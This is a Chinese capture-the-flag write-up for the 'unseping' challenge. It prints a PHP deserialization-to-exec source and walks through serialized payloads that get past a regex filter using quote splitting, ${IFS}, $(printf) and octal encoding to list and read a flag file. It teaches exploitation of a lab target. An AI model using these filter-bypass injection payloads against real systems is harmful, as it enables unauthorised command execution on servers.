当前位置: 首页 > news >正文

unseping攻防世界

源码分析

<?php
highlight_file(__FILE__);//代码高亮
class ease{//声明了两个私有属性:保存要调用的方法的名称和保存该方法的参数。$method,$argsprivate $method;private $args;//构造函数在实例化类的对象时初始化,即为对象成员变量赋初始值。function __construct($method, $args) {$this->method = $method;$this->args = $args;}//析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。function __destruct(){//if (in_array($this->method, array("ping"))) {//call_user_func_array() 是一个函数,用于调用一个回调函数(方法),并传递参数。call_user_func_array(array($this, $this->method), $this->args);}//检查当前请求的方法 $this->method 是否为 "ping"。如果是,调用该方法(即 $this->method),并将 $this->args 作为参数传递。} //该方法将 IP 地址作为参数,并使用 将其作为 shell 命令exec执行function ping($ip){exec($ip, $result);var_dump($result);}//防火墙,通过正则匹配过滤了|,&,;,空格,/,cat,flag,tac,php,lsfunction waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}//当对象被反序列化时,将调用该方法。它遍历属性,使用该方法匹配清理每个参数function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}
//采用POST传参的方式,@抑制报错信息
$ctf=@$_POST['ctf'];
//将传入参数进行base64解码,再反序列化。
@unserialize(base64_decode($ctf));
?>

解题思路

1:要求:
对post传入的参数进行了base64解密,和反序列化。意思就是传入的值经过了base64加密和序列化。
2:preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)这句话也是一个思路,为什么过滤这些命令,肯定是对解题有帮助才不让我们用,那我们就需要绕过这些命令。
3:我们的目的是找flag,那我们就需要借助ls查看一下整体的布局,看能不能检索出有用的信息来。

第一步:构造原始poc验证思路

<?php
class ease{ private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$a=new ease("ping",array('l""s'));
$b=serialize($a);
echo base64_encode($b);
?>

在这里插入图片描述
发现回显don’t hack,这是为什么呢?我们使用了ls命令,而正则匹配那里过滤了这个语句,所有返回don’t hack。

解题

绕过ls命令

1:“”

$a=new ease("ping",array('l""s'));

2:${Z}

$a=new ease("ping",array('l${Z}s'));

3:${IFS}
在这里插入图片描述

根据回显进一步解题

${IFS}

命令执行漏洞的空格过滤,在linux当中,%09(tab)、$IFS$9、 I F S 、 {IFS}、 IFSIFS这些都可以当做空格符作为代替。此题中 $IFS$9, ${IFS}可以绕过空格此题中
1:思路
回显array(2) { [0]=> string(12) “flag_1s_here” [1]=> string(9) “index.php” } ,
显而易见藏有flag的目录在flag_1s_here,为什么不是文档英文如果是文档应该带有文件后缀,就像后面的.php,再者说如果将文件后缀名藏匿起来了后面的index.php的后缀名也应该藏起来了。这里首先猜是目录。
2:执行命令ls flag_1s_here

$a=new ease("ping",array('l""s${IFS}fla""g_1s_here'));

完整运行代码
在这里插入图片描述
执行成功,返回了藏有flag的php文件
在这里插入图片描述
3: 查看flag_831b69012c67b35f.php用到的原始命令
tac flag_1s_here/flag_831b69012c67b35f.php,
tac flag_1s_here/flag_831b69012c67b35f.php都行
加工插入poc

$a=new ease("ping",array('ta""c${IFS}fl""ag_1s_here$(printf${IFS}"\57")fla""g_831b69012c67b35f.p""hp'));
//$()中可以执行函数,"\57"为\ascii值
//$(printf${IFS}"\57")这句话用来跳过\

在这里插入图片描述
在这里插入图片描述

解法2
linux中$(printf)

1: ( ) 中可以执行命令,当 ()中可以执行命令,当 ()中可以执行命令,当()中为printf时执行打印命令。
举例

echo $(printf "\154\163")
\154 是字符 'l' 的八进制表示。
\163 是字符 's' 的八进制表示。
因此,$(printf "\154\163") 会输出字符串 ls。就会执行ls命令。

同理,这里的”\154\163“翻译成字母是ls,打印ls命令就执行了ls命令,而我们要执行的命令tac flag_1s_here/flag_831b69012c67b35f.php是否也可以用此法?

oct绕过,将命令转为八进制,执行下面代码的第二个自定义函数将命令转为八进制字符串。
def string_to_binary(string):# 将每个字符转换为其二进制表示并格式化binary_string = '\\'.join(format(ord(char), '08b') for char in string)return binary_stringdef string_to_octal(string):# 将每个字符转换为其八进制表示并格式化# ord(char)获取字符的ASCII值。# format(ord(char), '03o')将ASCII值转换为三位的八进制表示。# join()将生成的八进制字符串连接成一个以 \ 分隔的字符串。octal_string = '\\'.join(format(ord(char), '03o') for char in string)return octal_stringdef string_to_hex(string):# 将每个字符转换为其十六进制表示并格式化hex_string = '\\'.join(format(ord(char), '02x') for char in string)return hex_stringstr1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
binary_string = string_to_binary(str1)
octal_string = string_to_octal(str1)
hex_string = string_to_hex(str1)
print(f"二进制\{binary_string}")
print('\n')
print(f"八进制\{octal_string}")
print('\n')
print(f"十六进制\{hex_string}")

在这里插入图片描述
在这里插入图片描述

成功。

既然可以用编码执行命令那我们是不是可以将之前的所有步骤都用此法绕过???

经过验证完全可以,感兴趣可以去试试。


http://www.mrgr.cn/news/61576.html

相关文章:

  • 已解决Navicat 选择Mysql表 报错unkonow internal error: Access violation - no RTTI data
  • Linux之nfs服务器和dns服务器
  • 【笔记】大模型长度外推技术 NTK-Aware Scaled RoPE
  • 【R语言】关联规则分析-应用于文献综述
  • 消息中间件mq*(Kafka)
  • 后端:Spring-1
  • 百度二面算法:合法的括号字符串(贪心解法)
  • 【机器学习】环境搭建及Sklearn鸢尾花数据集
  • Python | Leetcode Python题解之第519题随机翻转矩阵
  • Python中的切片是什么,它有什么用处?
  • 25_DNS:域名系统详解
  • C++ | Leetcode C++题解之第519题随机翻转矩阵
  • windows 驱动实例分析系列: NDIS 6.0的Filter 驱动改造(四)
  • Java | Leetcode Java题解之第520题检测大写字母
  • Linux(一)
  • 从0开始搭建一个生产级SpringBoot2.0.X项目(五)使用 validation 验证参数
  • C++核心编程和桌面应用开发 第十七天(set和multiset容器 pair map和multimap容器)
  • Json库和文件操作
  • Cargo 的工作机制
  • 一道巧妙的卡特兰数建模
  • 聊聊解构的那些事
  • 本篇文章来介绍下dockerfile
  • LeetCode 热题 100 回顾2
  • Golang | Leetcode Golang题解之第519题随机翻转矩阵
  • 速盾:海外高防CDN有哪些优势?
  • SpringBoot篇(自动装配原理)